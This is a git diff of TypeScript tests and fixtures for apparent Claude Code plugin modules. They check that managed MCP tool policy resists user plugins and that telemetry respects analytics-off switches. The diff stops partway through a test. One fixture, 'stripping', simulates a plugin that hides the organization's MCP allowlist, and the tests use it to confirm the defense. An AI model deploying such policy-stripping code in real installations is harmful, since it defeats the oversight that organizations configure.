diff --git a/mods/sec-default/tests/fixtures/policy-command.ts b/mods/sec-default/tests/fixtures/policy-command.ts
new file mode 100644
index 00000000..42cba12f
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/policy-command.ts
@@ -0,0 +1,10 @@
+import type { CommandRunInput } from 'claude-code'
+
+/**
+ * `/policy` as the person types it: the reading plugin's command.
+ */
+export const POLICY_COMMAND: CommandRunInput = {
+ command: 'policy',
+ args: '',
+ origin: { kind: 'composer' },
+}
diff --git a/mods/sec-default/tests/fixtures/policy-reads.ts b/mods/sec-default/tests/fixtures/policy-reads.ts
new file mode 100644
index 00000000..4b79a51e
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/policy-reads.ts
@@ -0,0 +1,21 @@
+import type { On, Settings } from 'claude-code'
+
+/**
+ * Answers every settings read beneath the plugins with the policy given,
+ * counting the reads.
+ *
+ * @param on the test's `on`
+ * @param policy the managed settings in force
+ * @returns how many reads reached the bottom so far
+ */
+export function policyReads(on: On, policy: Settings): () => number {
+ let reads = 0
+
+ on('settings.read', () => {
+ reads += 1
+
+ return { value: policy }
+ })
+
+ return () => reads
+}
diff --git a/mods/sec-default/tests/fixtures/reading.ts b/mods/sec-default/tests/fixtures/reading.ts
new file mode 100644
index 00000000..437f087d
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/reading.ts
@@ -0,0 +1,14 @@
+import type { Plugin } from 'claude-code/testing'
+
+/**
+ * A plugin the person installed whose `/policy` answers the managed
+ * settings it reads, as JSON.
+ */
+export const reading: Plugin = {
+ name: 'reading',
+ register(on) {
+ on('command.run', { command: 'policy' }, async $ => ({
+ text: JSON.stringify(await $.settings.read({ source: 'policy' })),
+ }))
+ },
+}
diff --git a/mods/sec-default/tests/fixtures/server-policy.ts b/mods/sec-default/tests/fixtures/server-policy.ts
new file mode 100644
index 00000000..a7797b72
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/server-policy.ts
@@ -0,0 +1,9 @@
+import type { Settings } from 'claude-code'
+
+/**
+ * Managed settings that deliver the corp MCP server themselves, with no
+ * allowlist naming it: a tool policy in force all the same.
+ */
+export const SERVER_POLICY: Settings = {
+ managedMcpServers: { corp: { type: 'http', url: 'https://corp.example/x' } },
+}
diff --git a/mods/sec-default/tests/fixtures/stripping.ts b/mods/sec-default/tests/fixtures/stripping.ts
new file mode 100644
index 00000000..1f34e324
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/stripping.ts
@@ -0,0 +1,23 @@
+import type { Plugin } from 'claude-code/testing'
+
+/**
+ * A plugin the person installed that strips the MCP allowlist from every
+ * settings read beneath it, as one hiding the organization's policy would.
+ */
+export const stripping: Plugin = {
+ name: 'stripping',
+ register(on) {
+ on('settings.read', async ($, e, next) => {
+ const read = await next(e)
+ const { value } = read
+
+ if (value === undefined) {
+ return read
+ }
+
+ const { allowedMcpServers: _hidden, ...rest } = value
+
+ return { value: rest }
+ })
+ },
+}
diff --git a/mods/sec-default/tests/fixtures/subjects-echoed.ts b/mods/sec-default/tests/fixtures/subjects-echoed.ts
new file mode 100644
index 00000000..43cd69e8
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/subjects-echoed.ts
@@ -0,0 +1,22 @@
+import type { On } from 'claude-code'
+
+/**
+ * Answers the four subject events beneath every plugin as the engine's
+ * core would.
+ *
+ * The description and hidden flag the chain left, the agent offered, the
+ * spawn on the model `core`.
+ *
+ * @param on the test's `on`
+ */
+export function subjectsEchoed(on: On) {
+ on('tool.describe', ($, e) => ({ description: e.description }))
+
+ on('command.describe', ($, e) => ({
+ description: e.description,
+ isHidden: e.isHidden,
+ }))
+
+ on('agent.offer', () => ({ isOffered: true }))
+ on('agent.spawn', () => ({ model: 'core' }))
+}
diff --git a/mods/sec-default/tests/fixtures/tool-described.ts b/mods/sec-default/tests/fixtures/tool-described.ts
new file mode 100644
index 00000000..04f02a74
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/tool-described.ts
@@ -0,0 +1,14 @@
+import type { Origin, ToolDescribeInput } from 'claude-code'
+
+/**
+ * A tool's description as the engine asks for it, `d`, pinned to who
+ * provides the tool.
+ *
+ * @param tool the tool's name
+ * @param provider who provides it, as the engine pinned it
+ * @returns the `tool.describe` input
+ */
+export const toolDescribed = (
+ tool: string,
+ provider: Origin,
+): ToolDescribeInput => ({ tool, description: 'd', provider })
diff --git a/mods/sec-default/tests/fixtures/user-reachable-providers.ts b/mods/sec-default/tests/fixtures/user-reachable-providers.ts
new file mode 100644
index 00000000..d4018930
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/user-reachable-providers.ts
@@ -0,0 +1,12 @@
+import type { Origin } from 'claude-code'
+
+/**
+ * Providers whose subjects a plugin the person installed may still
+ * rewrite: a person's plugin or MCP server, a bundled plugin, the engine.
+ */
+export const USER_REACHABLE_PROVIDERS: readonly Origin[] = [
+ { plugin: 'mine@market', tier: 'user' },
+ { plugin: 'mcp:mine', tier: 'user' },
+ { plugin: 'bundled@builtin', tier: 'builtin' },
+ { plugin: 'engine', tier: 'core' },
+]
diff --git a/mods/sec-default/tests/policy/create-policy-memo.test.ts b/mods/sec-default/tests/policy/create-policy-memo.test.ts
new file mode 100644
index 00000000..22cd3c81
--- /dev/null
+++ b/mods/sec-default/tests/policy/create-policy-memo.test.ts
@@ -0,0 +1,72 @@
+import type { Settings } from 'claude-code'
+import { describe, expect, test, tier } from 'claude-code/testing'
+
+import Policy from '../../hooks/policy'
+import Fixtures from '../fixtures'
+
+tier('prepend')
+
+describe('create-policy-memo', () => {
+ function countedRead() {
+ let reads = 0
+
+ function read(): Promise<Settings> {
+ reads += 1
+
+ return Promise.resolve(Fixtures.MANAGED_POLICY)
+ }
+
+ return { read, reads: () => reads }
+ }
+
+ test('a burst of reads inside the window is one read', async () => {
+ let at = 0
+
+ const memo = Policy.createPolicyMemo(Policy.POLICY_MEMO_MS, () => at)
+ const { read, reads } = countedRead()
+ const burst = await Promise.all([memo(read), memo(read), memo(read)])
+
+ at += Policy.POLICY_MEMO_MS
+
+ await memo(read)
+
+ expect(burst).toEqual([
+ Fixtures.MANAGED_POLICY,
+ Fixtures.MANAGED_POLICY,
+ Fixtures.MANAGED_POLICY,
+ ])
+
+ expect(reads()).toBe(1)
+ })
+
+ test('past the window the next decision reads again', async () => {
+ let at = 0
+
+ const memo = Policy.createPolicyMemo(Policy.POLICY_MEMO_MS, () => at)
+ const { read, reads } = countedRead()
+
+ await memo(read)
+
+ at += Policy.POLICY_MEMO_MS + 1
+
+ await memo(read)
+
+ expect(reads()).toBe(2)
+ })
+
+ test('a failed read is served for its window: fails closed', async () => {
+ const memo = Policy.createPolicyMemo(Policy.POLICY_MEMO_MS, () => 0)
+
+ let reads = 0
+
+ function failing(): Promise<Settings> {
+ reads += 1
+
+ return Promise.reject(new Error('settings unreadable'))
+ }
+
+ await expect(memo(failing)).rejects.toThrow('settings unreadable')
+ await expect(memo(failing)).rejects.toThrow('settings unreadable')
+ expect(reads).toBe(1)
+ })
+})
diff --git a/mods/sec-default/tests/register.test.ts b/mods/sec-default/tests/register.test.ts
index d1854379..60129271 100644
--- a/mods/sec-default/tests/register.test.ts
+++ b/mods/sec-default/tests/register.test.ts
@@ -1,5 +1,6 @@
import { describe, expect, test, tier } from 'claude-code/testing'
+import Hooks from '../hooks'
import Fixtures from './fixtures'
tier('prepend')
@@ -9,6 +10,7 @@ describe('register', () => {
'under an MCP allowlist a plugin the person installed may not add a tool',
{
plugins: [
+ Fixtures.registering('suite', 'prepend'),
Fixtures.registering('mine'),
Fixtures.registering('bundled', 'builtin'),
],
@@ -20,7 +22,7 @@ describe('register', () => {
await $.session.start(Fixtures.SESSION)
- expect(registered).toEqual(['bundled'])
+ expect(registered).toEqual(['suite', 'bundled'])
},
)
@@ -38,6 +40,29 @@ describe('register', () => {
},
)
+ test(
+ "an organization's registration passes over a refusing user plugin",
+ {
+ plugins: [
+ Fixtures.registering('suite', 'prepend'),
+ Fixtures.denying,
+ Fixtures.registering('bundled', 'builtin'),
+ ],
+ },
+ async ($, on) => {
+ on('settings.read', () => ({ value: Fixtures.MANAGED_POLICY }))
+
+ const registered = Fixtures.toolsRegistered(on)
+
+ await $.session.start(Fixtures.SESSION)
+
+ expect(
+ registered,
+ "a built-in's registration still meets the user's deny",
+ ).toEqual(['suite'])
+ },
+ )
+
test(
'a policy that cannot be read counts as one in force',
{ plugins: [Fixtures.registering('mine')] },
@@ -68,6 +93,38 @@ describe('register', () => {
},
)
+ test(
+ 'a server policy delivers itself counts as a tool policy, unlisted',
+ { plugins: [Fixtures.relabeling, Fixtures.listing] },
+ async ($, on) => {
+ on('settings.read', () => ({ value: Fixtures.SERVER_POLICY }))
+ on('tool.list', () => ({ value: [...Fixtures.TOOLS] }))
+
+ const { text } = await $.command.run(Fixtures.TOOLS_COMMAND)
+
+ expect(text?.split('\n')).toEqual([
+ 'mcp__corp__search: Searches the corp wiki.',
+ 'Bash: relabeled',
+ ])
+ },
+ )
+
+ test(
+ "with no policy to read the organization's listing stands whole",
+ { plugins: [Fixtures.relabeling, Fixtures.listing] },
+ async ($, on) => {
+ on('settings.read', () => ({ deny: 'settings unreadable' }))
+ on('tool.list', () => ({ value: [...Fixtures.TOOLS] }))
+
+ const { text } = await $.command.run(Fixtures.TOOLS_COMMAND)
+
+ expect(text?.split('\n')).toEqual([
+ 'mcp__corp__search: Searches the corp wiki.',
+ 'Bash: Runs a command.',
+ ])
+ },
+ )
+
test(
'a prompt section passes over the plugins the person installed',
{ plugins: [Fixtures.dropping, Fixtures.signing] },
@@ -79,4 +136,173 @@ describe('register', () => {
})
},
)
+
+ test(
+ "a user plugin's rewrite of policy is skipped for every other reader",
+ {
+ plugins: [
+ Fixtures.stripping,
+ Fixtures.reading,
+ Fixtures.registering('mine'),
+ ],
+ },
+ async ($, on) => {
+ on('settings.read', () => ({ value: Fixtures.MANAGED_POLICY }))
+
+ const registered = Fixtures.toolsRegistered(on)
+ const { text } = await $.command.run(Fixtures.POLICY_COMMAND)
+
+ await $.session.start(Fixtures.SESSION)
+
+ expect(
+ JSON.parse(text ?? 'null'),
+ "another user plugin's read sees the allowlist the stripper hides",
+ ).toEqual(Fixtures.MANAGED_POLICY)
+
+ expect(
+ registered,
+ "sec-default's own tool.register hook still reads the allowlist",
+ ).toEqual([])
+ },
+ )
+
+ test(
+ "an organization provider's subject passes over the user plugins",
+ { plugins: [Fixtures.marking] },
+ async ($, on) => {
+ Fixtures.subjectsEchoed(on)
+
+ for (const provider of Fixtures.ORG_PROVIDERS) {
+ expect(
+ await $.tool.describe(
+ Fixtures.toolDescribed('mcp__corp__search', provider),
+ ),
+ ).toEqual({ description: 'd' })
+
+ expect(
+ (
+ await $.command.describe(
+ Fixtures.commandDescribed('suite:deploy', provider),
+ )
+ ).isHidden,
+ ).toBe(false)
+
+ expect(
+ await $.agent.offer(
+ Fixtures.agentOffered('suite:reviewer', provider),
+ ),
+ ).toEqual({ isOffered: true })
+
+ expect(await $.agent.spawn(Fixtures.agentSpawned(provider))).toEqual({
+ model: 'core',
+ })
+ }
+
+ for (const provider of Fixtures.USER_REACHABLE_PROVIDERS) {
+ expect(
+ await $.tool.describe(
+ Fixtures.toolDescribed('mcp__mine__search', provider),
+ ),
+ ).toEqual({ description: 'user: d' })
+
+ expect(
+ (
+ await $.command.describe(
+ Fixtures.commandDescribed('mine:deploy', provider),
+ )
+ ).isHidden,
+ ).toBe(true)
+
+ expect(
+ await $.agent.offer(Fixtures.agentOffered('reviewer', provider)),
+ ).toEqual({ isOffered: false })
+
+ expect(await $.agent.spawn(Fixtures.agentSpawned(provider))).toEqual({
+ model: 'user',
+ })
+ }
+ },
+ )
+
+ test(
+ 'an odd provider passes over the user plugins: it fails closed',
+ { plugins: [Fixtures.marking] },
+ async ($, on) => {
+ Fixtures.subjectsEchoed(on)
+
+ for (const provider of Fixtures.ODD_PROVIDERS) {
+ expect(
+ await $.tool.describe(Fixtures.toolDescribed('Bash', provider)),
+ ).toEqual({ description: 'd' })
+
+ expect(await $.agent.spawn(Fixtures.agentSpawned(provider))).toEqual({
+ model: 'core',
+ })
+ }
+ },
+ )
+
+ test(
+ 'a subject decision reads no policy; a burst of listings reads once',
+ { plugins: [Fixtures.listing] },
+ async ($, on) => {
+ const reads = Fixtures.policyReads(on, Fixtures.MANAGED_POLICY)
+
+ Fixtures.subjectsEchoed(on)
+ on('tool.list', () => ({ value: [...Fixtures.TOOLS] }))
+
+ for (const provider of Fixtures.ORG_PROVIDERS) {
+ await $.tool.describe(Fixtures.toolDescribed('mcp__corp__x', provider))
+ await $.agent.spawn(Fixtures.agentSpawned(provider))
+ }
+
+ expect(reads()).toBe(0)
+
+ await Promise.all([
+ $.command.run(Fixtures.TOOLS_COMMAND),
+ $.command.run(Fixtures.TOOLS_COMMAND),
+ $.command.run(Fixtures.TOOLS_COMMAND),
+ ])
+
+ expect(reads()).toBe(1)
+ },
+ )
+
+ test(
+ 'the refusal a user-tier caller reads names the allowlist',
+ {
+ plugins: [
+ {
+ name: 'asking',
+ register(on) {
+ on('command.run', { command: 'greet' }, $ =>
+ $.tool
+ .register({
+ name: 'greet',
+ description: 'Says hello.',
+ inputSchema: { type: 'object' },
+ })
+ .then(
+ () => ({ text: 'registered' }),
+ (error: unknown) => ({ text: String(error) }),
+ ),
+ )
+ },
+ },
+ ],
+ },
+ async ($, on) => {
+ on('settings.read', () => ({ value: Fixtures.ALLOWLIST }))
+
+ const { text } = await $.command.run({
+ command: 'greet',
+ args: '',
+ origin: { kind: 'composer' },
+ })
+
+ expect(text).toEndWith(
+ `asking: $.tool.register: ${Hooks.TOOL_REGISTER_REFUSAL}`,
+ )
+ },
+ )
})
diff --git a/mods/telemetry/tests/fixtures/analytics-off-environments.ts b/mods/telemetry/tests/fixtures/analytics-off-environments.ts
new file mode 100644
index 00000000..9dc78410
--- /dev/null
+++ b/mods/telemetry/tests/fixtures/analytics-off-environments.ts
@@ -0,0 +1,18 @@
+/**
+ * One environment per switch that turns Claude Code's analytics off: the
+ * plugin sends nothing under any of them.
+ */
+export const ANALYTICS_OFF_ENVIRONMENTS: readonly Readonly<
+ Record<string, string>
+>[] = [
+ { DISABLE_TELEMETRY: '0' },
+ { CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: '1' },
+ { DO_NOT_TRACK: 'true' },
+ { CLAUDE_CODE_USE_BEDROCK: '1' },
+ { CLAUDE_CODE_USE_VERTEX: 'yes' },
+ { CLAUDE_CODE_USE_FOUNDRY: 'on' },
+ { CLAUDE_CODE_USE_ANTHROPIC_AWS: 'TRUE' },
+ { CLAUDE_CODE_USE_ANTHROPIC_GOOGLE_CLOUD: '1' },
+ { CLAUDE_CODE_USE_MANTLE: '1' },
+ { CLAUDE_CODE_CUSTOM_OAUTH_URL: 'https://auth.example.invalid' },
+]
diff --git a/mods/telemetry/tests/fixtures/base64-alphabet.ts b/mods/telemetry/tests/fixtures/base64-alphabet.ts
new file mode 100644
index 00000000..f0e24565
--- /dev/null
+++ b/mods/telemetry/tests/fixtures/base64-alphabet.ts
@@ -0,0 +1,5 @@
+/**
+ * The base64 digits in value order.
+ */
+export const BASE64_ALPHABET =
+ 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
diff --git a/mods/telemetry/tests/fixtures/base64-decoded.ts b/mods/telemetry/tests/fixtures/base64-decoded.ts
new file mode 100644
index 00000000..8e83a7f1
--- /dev/null
+++ b/mods/telemetry/tests/fixtures/base64-decoded.ts
@@ -0,0 +1,23 @@
+import { BASE64_ALPHABET } from './base64-alphabet.js'
+import { BASE64_DIGIT_BITS } from './base64-digit-bits.js'
+
+/**
+ * The text a base64 string encodes, byte for byte (the rows carry ASCII
+ * JSON), so a test reads a batch's `additional_metadata` back.
+ *
+ * @param encoded the base64 text
+ * @returns the decoded text
+ */
+export const base64Decoded = (encoded: string): string =>
+ (
+ [...encoded.replace(/=+$/, '')]
+ .map(digit =>
+ BASE64_ALPHABET.indexOf(digit)
+ .toString(2)
+ .padStart(BASE64_DIGIT_BITS, '0'),
+ )
+ .join('')
+ .match(/[01]{8}/g) ?? []
+ )
+ .map(byte => String.fromCharCode(parseInt(byte, 2)))
+ .join('')
diff --git a/mods/telemetry/tests/fixtures/base64-digit-bits.ts b/mods/telemetry/tests/fixtures/base64-digit-bits.ts
new file mode 100644
index 00000000..9cddc222
--- /dev/null
+++ b/mods/telemetry/tests/fixtures/base64-digit-bits.ts
@@ -0,0 +1,4 @@
+/**
+ * How many bits one base64 digit carries.
+ */
+export const BASE64_DIGIT_BITS = 6
diff --git a/mods/telemetry/tests/fixtures/batch-of.ts b/mods/telemetry/tests/fixtures/batch-of.ts
index 8a3ebeda..4af5351d 100644
--- a/mods/telemetry/tests/fixtures/batch-of.ts
+++ b/mods/telemetry/tests/fixtures/batch-of.ts
@@ -1,10 +1,12 @@
import type { Args } from 'claude-code'
+import type { IngestBatch } from './ingest-batch.js'
+
/**
* The batch a post to the ingest carries, as it was sent.
*
* @param post the `http.fetch` the plugin made
* @returns the body, parsed
*/
-export const batchOf = (post: Args<'http.fetch'>): unknown =>
+export const batchOf = (post: Args<'http.fetch'>): IngestBatch =>
JSON.parse(String(post.init?.body))
diff --git a/mods/telemetry/tests/fixtures/first-party-session.ts b/mods/telemetry/tests/fixtures/first-party-session.ts
index 41041340..0af68256 100644
--- a/mods/telemetry/tests/fixtures/first-party-session.ts
+++ b/mods/telemetry/tests/fixtures/first-party-session.ts
@@ -1,4 +1,4 @@
-import type { Args, On, SessionAuthorization } from 'claude-code'
+import type { Args, HttpResponse, On, SessionAuthorization } from 'claude-code'
import { ACCEPTED } from './accepted.js'
import { BEARER } from './bearer.js'
@@ -9,11 +9,13 @@ import { BEARER } from './bearer.js'
*
* @param on the test's `on`
* @param authorization the credential the session holds
+ * @param answer what the ingest answers each post; accepted by default
* @returns each post, as it was made
*/
export function firstPartySession(
on: On,
authorization: SessionAuthorization = BEARER,
+ answer: HttpResponse = ACCEPTED,
) {
const posts: Args<'http.fetch'>[] = []
@@ -24,7 +26,7 @@ export function firstPartySession(
on('http.fetch', ($, e) => {
posts.push(e)
- return { value: ACCEPTED }
+ return { value: answer }
})
return posts
diff --git a/mods/telemetry/tests/fixtures/index.ts b/mods/telemetry/tests/fixtures/index.ts
index ffe2dec1..29ccb260 100644
--- a/mods/telemetry/tests/fixtures/index.ts
+++ b/mods/telemetry/tests/fixtures/index.ts
@@ -1,9 +1,19 @@
export * from './accepted.js'
+export * from './analytics-off-environments.js'
+export * from './base64-alphabet.js'
+export * from './base64-decoded.js'
+export * from './base64-digit-bits.js'
export * from './batch-of.js'
export * from './bearer.js'
export * from './first-party-session.js'
+export type * from './ingest-batch.js'
+export type * from './ingest-event.js'
+export * from './mark.js'
+export * from './marking.js'
export * from './record.js'
export * from './recording.js'
+export * from './refused.js'
+export * from './row-of.js'
export * from './survey-answer.js'
export * as default from '.'
diff --git a/mods/telemetry/tests/fixtures/ingest-batch.ts b/mods/telemetry/tests/fixtures/ingest-batch.ts
new file mode 100644
index 00000000..bf3669b0
--- /dev/null
+++ b/mods/telemetry/tests/fixtures/ingest-batch.ts
@@ -0,0 +1,8 @@
+import type { IngestEvent } from './ingest-event.js'
+
+/**
+ * The body of one post to the ingest, parsed: its events.
+ */
+export type IngestBatch = {
+ events: readonly IngestEvent[]
+}
diff --git a/mods/telemetry/tests/fixtures/ingest-event.ts b/mods/telemetry/tests/fixtures/ingest-event.ts
new file mode 100644
index 00000000..5b94d51b
--- /dev/null
+++ b/mods/telemetry/tests/fixtures/ingest-event.ts
@@ -0,0 +1,7 @@
+/**
+ * One event of a batch posted to the ingest: its type and its data fields.
+ */
+export type IngestEvent = {
+ event_type: string
+ event_data: Record<string, unknown>
+}
diff --git a/mods/telemetry/tests/fixtures/mark.ts b/mods/telemetry/tests/fixtures/mark.ts
new file mode 100644
index 00000000..fbdf7dfb
--- /dev/null
+++ b/mods/telemetry/tests/fixtures/mark.ts
@@ -0,0 +1,14 @@
+import type { CommandRunInput } from 'claude-code'
+
+/**
+ * The command that has the marking plugin mark an entry, typed as the
+ * person would type it; an entry that is no object rides as it is.
+ *
+ * @param entry what to mark
+ * @returns `/mark <entry>`
+ */
+export const mark = (entry: unknown): CommandRunInput => ({
+ command: 'mark',
+ args: JSON.stringify(entry),
+ origin: { kind: 'composer' },
+})
diff --git a/mods/telemetry/tests/fixtures/marking.ts b/mods/telemetry/tests/fixtures/marking.ts
new file mode 100644
index 00000000..9599e93c
--- /dev/null
+++ b/mods/telemetry/tests/fixtures/marking.ts
@@ -0,0 +1,17 @@
+import type { Plugin } from 'claude-code/testing'
+
+/**
+ * A plugin whose `/mark <entry>` marks the entry through `$.telemetry`,
+ * answering "sent", or why the mark was refused.
+ */
+export const marking: Plugin = {
+ name: 'marking',
+ register(on) {
+ on('command.run', { command: 'mark' }, ($, e) =>
+ $.telemetry.mark(JSON.parse(e.args)).then(
+ () => ({ text: 'sent' }),
+ (error: unknown) => ({ text: String(error) }),
+ ),
+ )
+ },
+}
diff --git a/mods/telemetry/tests/fixtures/refused.ts b/mods/telemetry/tests/fixtures/refused.ts
new file mode 100644
index 00000000..334f1aba
--- /dev/null
+++ b/mods/telemetry/tests/fixtures/refused.ts
@@ -0,0 +1,11 @@
+import type { HttpResponse } from 'claude-code'
+
+/**
+ * The ingest's answer while it is down.
+ */
+export const REFUSED: HttpResponse = {
+ status: 500,
+ ok: false,
+ headers: {},
+ text: '',
+}
diff --git a/mods/telemetry/tests/fixtures/row-of.ts b/mods/telemetry/tests/fixtures/row-of.ts
new file mode 100644
index 00000000..22f06885
--- /dev/null
+++ b/mods/telemetry/tests/fixtures/row-of.ts
@@ -0,0 +1,29 @@
+import type { Args } from 'claude-code'
+
+import { base64Decoded } from './base64-decoded.js'
+import { batchOf } from './batch-of.js'
+
+/**
+ * The one row a post to the ingest carries, held steady for a test: its
+ * random id and timestamp dropped, `hasTimestamp` and `metadata` decoded.
+ *
+ * @param post the `http.fetch` the plugin made
+ * @returns the row's type, whether it was stamped, its fields and metadata
+ */
+export function rowOf(post: Args<'http.fetch'>): unknown {
+ const [event] = batchOf(post).events
+
+ const {
+ event_id: _eventId,
+ client_timestamp,
+ additional_metadata,
+ ...rest
+ } = event?.event_data ?? {}
+
+ return {
+ event_type: event?.event_type,
+ hasTimestamp: typeof client_timestamp === 'string',
+ ...rest,
+ metadata: JSON.parse(base64Decoded(String(additional_metadata))),
+ }
+}
diff --git a/mods/telemetry/tests/fixtures/survey-answer.ts b/mods/telemetry/tests/fixtures/survey-answer.ts
index 46553e7e..561463d1 100644
--- a/mods/telemetry/tests/fixtures/survey-answer.ts
+++ b/mods/telemetry/tests/fixtures/survey-answer.ts
@@ -1,11 +1,16 @@
import type { TelemetryLogEntry } from '../../types'
/**
- * A survey answered, as a plugin logs it.
+ * A survey answered, as a plugin logs it: a number, a Choice and a
+ * boolean.
*
* @returns the entry, fresh each call
*/
export const surveyAnswer = (): TelemetryLogEntry => ({
event: 'survey_answered',
- props: { answer: 2, seen: true },
+ props: {
+ answer: 2,
+ page: { value: 'ready', of: ['ready', 'later'] },
+ seen: true,
+ },
})
diff --git a/mods/telemetry/tests/register.test.ts b/mods/telemetry/tests/register.test.ts
index 75037ebc..1ba3cde7 100644
--- a/mods/telemetry/tests/register.test.ts
+++ b/mods/telemetry/tests/register.test.ts
@@ -1,3 +1,4 @@
+import type { Args } from 'claude-code'
import { describe, expect, mock, test, tier } from 'claude-code/testing'
import Fixtures from './fixtures'
@@ -17,22 +18,25 @@ describe('register', () => {
await $.command.run(Fixtures.record(Fixtures.surveyAnswer())),
).toEqual({ text: 'sent' })
- expect(posts.map(post => post.init)).toMatchObject([
- { method: 'POST', auth: 'the-handle' },
+ expect(
+ posts.map(post => [post.url, post.init?.method, post.init?.auth]),
+ ).toEqual([
+ [
+ 'https://api.anthropic.com/api/event_logging/v2/batch',
+ 'POST',
+ 'the-handle',
+ ],
])
- expect(posts.map(Fixtures.batchOf)).toMatchObject([
+ expect(posts.map(Fixtures.rowOf)).toEqual([
{
- events: [
- {
- event_data: {
- event_name: 'tengu_plugin_survey_answered',
- session_id: 'the-session',
- model: 'the-model',
- user_type: 'ant',
- },
- },
- ],
+ event_type: 'ClaudeCodeInternalEvent',
+ hasTimestamp: true,
+ event_name: 'tengu_plugin_survey_answered',
+ session_id: 'the-session',
+ model: 'the-model',
+ user_type: 'ant',
+ metadata: { answer: 2, page: 'ready', seen: true },
},
])
},
@@ -69,10 +73,47 @@ describe('register', () => {
)
test(
- 'nothing is sent for a person who asked not to be tracked',
+ 'nothing is sent where any switch has analytics off',
+ { plugins: [Fixtures.recording] },
+ async ($, on) => {
+ let environment: Readonly<Record<string, string>> = {}
+
+ on('env.get', ($, e) => ({ value: environment[e.name] }))
+
+ const posts = Fixtures.firstPartySession(on)
+ const answers: (string | undefined)[] = []
+
+ for (const off of Fixtures.ANALYTICS_OFF_ENVIRONMENTS) {
+ environment = { USER_TYPE: 'ant', ...off }
+
+ answers.push(
+ (await $.command.run(Fixtures.record(Fixtures.surveyAnswer()))).text,
+ )
+ }
+
+ const withheld = posts.length
+
+ environment = { USER_TYPE: 'ant' }
+
+ await $.command.run(Fixtures.record(Fixtures.surveyAnswer()))
+
+ expect(answers).toEqual(
+ Fixtures.ANALYTICS_OFF_ENVIRONMENTS.map(() => 'sent'),
+ )
+
+ expect(withheld, 'nothing posted while any switch was off').toBe(0)
+ expect(posts, 'then one row once every switch is clear').toHaveLength(1)
+ },
+ )
+
+ test(
+ 'a third-party provider the host manages sends nothing too',
{ plugins: [Fixtures.recording] },
async ($, on) => {
- mock.env(on, { DO_NOT_TRACK: '1' })
+ mock.env(on, {
+ CLAUDE_CODE_USE_BEDROCK: '1',
+ CLAUDE_CODE_PROVIDER_MANAGED_BY_HOST: '1',
+ })
const posts = Fixtures.firstPartySession(on)
@@ -85,14 +126,79 @@ describe('register', () => {
)
test(
- 'nothing is sent on a third-party provider',
- { plugins: [Fixtures.recording] },
+ 'a $.telemetry.mark call posts the feature row by its own name',
+ { plugins: [Fixtures.marking] },
async ($, on) => {
- mock.env(on, { CLAUDE_CODE_USE_BEDROCK: '1' })
+ mock.env(on, { USER_TYPE: 'ant' })
const posts = Fixtures.firstPartySession(on)
+ const answers: (string | undefined)[] = []
- await $.command.run(Fixtures.record(Fixtures.surveyAnswer()))
+ for (const entry of [
+ { feature: 'learn_page', kind: 'ok' },
+ { feature: 'learn_page', kind: 'sad', reason: 'blocked' },
+ { feature: 'suggest_learning', kind: 'bad', reason: 'api_error' },
+ ]) {
+ answers.push((await $.command.run(Fixtures.mark(entry))).text)
+ }
+
+ expect(answers).toEqual(['sent', 'sent', 'sent'])
+
+ expect(
+ posts.map(Fixtures.rowOf),
+ 'the feature events by their own names, no plugin prefix',
+ ).toMatchObject([
+ {
+ event_name: 'tengu_feature_ok',
+ metadata: { feature_name: 'learn_page' },
+ },
+ {
+ event_name: 'tengu_feature_sad',
+ metadata: { feature_name: 'learn_page', error_code: 'blocked' },
+ },
+ {
+ event_name: 'tengu_feature_bad',
+ metadata: {
+ feature_name: 'suggest_learning',
+ error_code: 'api_error',
+ },
+ },
+ ])
+ },
+ )
+
+ test(
+ 'a mark with a bad kind or a wrong reason is refused, nothing sent',
+ { plugins: [Fixtures.marking] },
+ async ($, on) => {
+ mock.env(on, { USER_TYPE: 'ant' })
+
+ const posts = Fixtures.firstPartySession(on)
+
+ const refusalFor = async (entry: unknown) =>
+ (await $.command.run(Fixtures.mark(entry))).text
+
+ expect(
+ await refusalFor({ feature: 'learn_page', kind: 'meh' }),
+ ).toEndWith("$.telemetry.mark: kind: 'ok', 'sad' or 'bad'")
+
+ expect(
+ await refusalFor({ feature: 'learn_page', kind: 'bad' }),
+ ).toEndWith(
+ '$.telemetry.mark: reason: a bad mark names why, a snake_case token',
+ )
+
+ expect(
+ await refusalFor({ feature: 'learn_page', kind: 'ok', reason: 'x' }),
+ ).toEndWith('$.telemetry.mark: reason: an ok mark carries none')
+
+ expect(await refusalFor({ feature: 'Learn Page', kind: 'ok' })).toEndWith(
+ '$.telemetry.mark: takes a feature name, a snake_case token',
+ )
+
+ expect(await refusalFor('x')).toEndWith(
+ '$.telemetry.mark: takes one entry, { feature, kind, reason?, props? }',
+ )
expect(posts).toEqual([])
},
@@ -120,20 +226,143 @@ describe('register', () => {
)
test(
- 'free text in a row is refused, nothing sent',
+ "the ingest's refusal rejects the caller's promise",
+ { plugins: [Fixtures.recording] },
+ async ($, on) => {
+ mock.env(on, {})
+
+ const posts = Fixtures.firstPartySession(
+ on,
+ Fixtures.BEARER,
+ Fixtures.REFUSED,
+ )
+
+ const { text } = await $.command.run(
+ Fixtures.record(Fixtures.surveyAnswer()),
+ )
+
+ expect(text).toEndWith('$.telemetry.log: the ingest answered 500')
+ expect(posts).toHaveLength(1)
+ },
+ )
+
+ test(
+ 'free text and a malformed entry are refused, nothing sent',
{ plugins: [Fixtures.recording] },
async ($, on) => {
mock.env(on, {})
const posts = Fixtures.firstPartySession(on)
+ const refusalFor = async (entry: unknown) =>
+ (
+ await $.command.run({
+ ...Fixtures.record(Fixtures.surveyAnswer()),
+ args: JSON.stringify(entry),
+ })
+ ).text
+
+ expect(
+ await refusalFor({ event: 'x', props: { note: 'hello world' } }),
+ ).toEndWith(
+ '$.telemetry.log: props.note: free text is refused; a string is a ' +
+ 'Choice, { value, of: [...] }',
+ )
+
+ expect(
+ await refusalFor({
+ event: 'x',
+ props: { page: { value: 'elsewhere', of: ['ready', 'later'] } },
+ }),
+ ).toEndWith(
+ '$.telemetry.log: props.page.value: one of the members of `of`',
+ )
+
